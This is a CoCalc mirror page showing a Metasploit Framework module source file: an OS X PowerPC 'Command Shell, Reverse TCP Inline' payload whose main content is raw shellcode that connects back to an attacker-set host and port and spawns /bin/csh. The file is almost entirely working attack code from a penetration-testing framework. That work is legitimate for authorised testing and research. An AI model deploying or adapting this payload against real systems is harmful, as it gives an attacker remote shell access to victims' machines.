CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb
Views: 11778
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 164
10
11
include Msf::Payload::Single
12
include Msf::Payload::Osx
13
include Msf::Sessions::CommandShellOptions
14
15
def initialize(info = {})
16
super(merge_info(info,
17
'Name' => 'OS X Command Shell, Reverse TCP Inline',
18
'Description' => 'Connect back to attacker and spawn a command shell',
19
'Author' => 'hdm',
20
'License' => MSF_LICENSE,
21
'Platform' => 'osx',
22
'Arch' => ARCH_PPC,
23
'Handler' => Msf::Handler::ReverseTcp,
24
'Session' => Msf::Sessions::CommandShellUnix,
25
'Payload' =>
26
{
27
'Offsets' =>
28
{
29
'LPORT' => [ 34, 'n' ],
30
'LHOST' => [ 36, 'ADDR' ],
31
},
32
'Payload' =>
33
"\x38\x60\x00\x02\x38\x80\x00\x01\x38\xa0\x00\x06\x38\x00" +
34
"\x00\x61\x44\x00\x00\x02\x7c\x00\x02\x78\x7c\x7e\x1b\x78" +
35
"\x48\x00\x00\x0d\x00\x02\x22\x11\x7f\x00\x00\x01\x7c\x88" +
36
"\x02\xa6\x38\xa0\x00\x10\x38\x00\x00\x62\x7f\xc3\xf3\x78" +
37
"\x44\x00\x00\x02\x7c\x00\x02\x78\x38\xa0\x00\x02\x38\x00" +
38
"\x00\x5a\x7f\xc3\xf3\x78\x7c\xa4\x2b\x78\x44\x00\x00\x02" +
39
"\x7c\x00\x02\x78\x38\xa5\xff\xff\x2c\x05\xff\xff\x40\x82" +
40
"\xff\xe5\x38\x00\x00\x42\x44\x00\x00\x02\x7c\x00\x02\x78" +
41
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7c\x68\x02\xa6\x38\x63" +
42
"\x00\x20\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8" +
43
"\x38\x00\x00\x3b\x7c\x00\x04\xac\x44\x00\x00\x02\x2f\x62" +
44
"\x69\x6e\x2f\x63\x73\x68\x00\x41\x41\x41"
45
}
46
))
47
end
48
end
49
50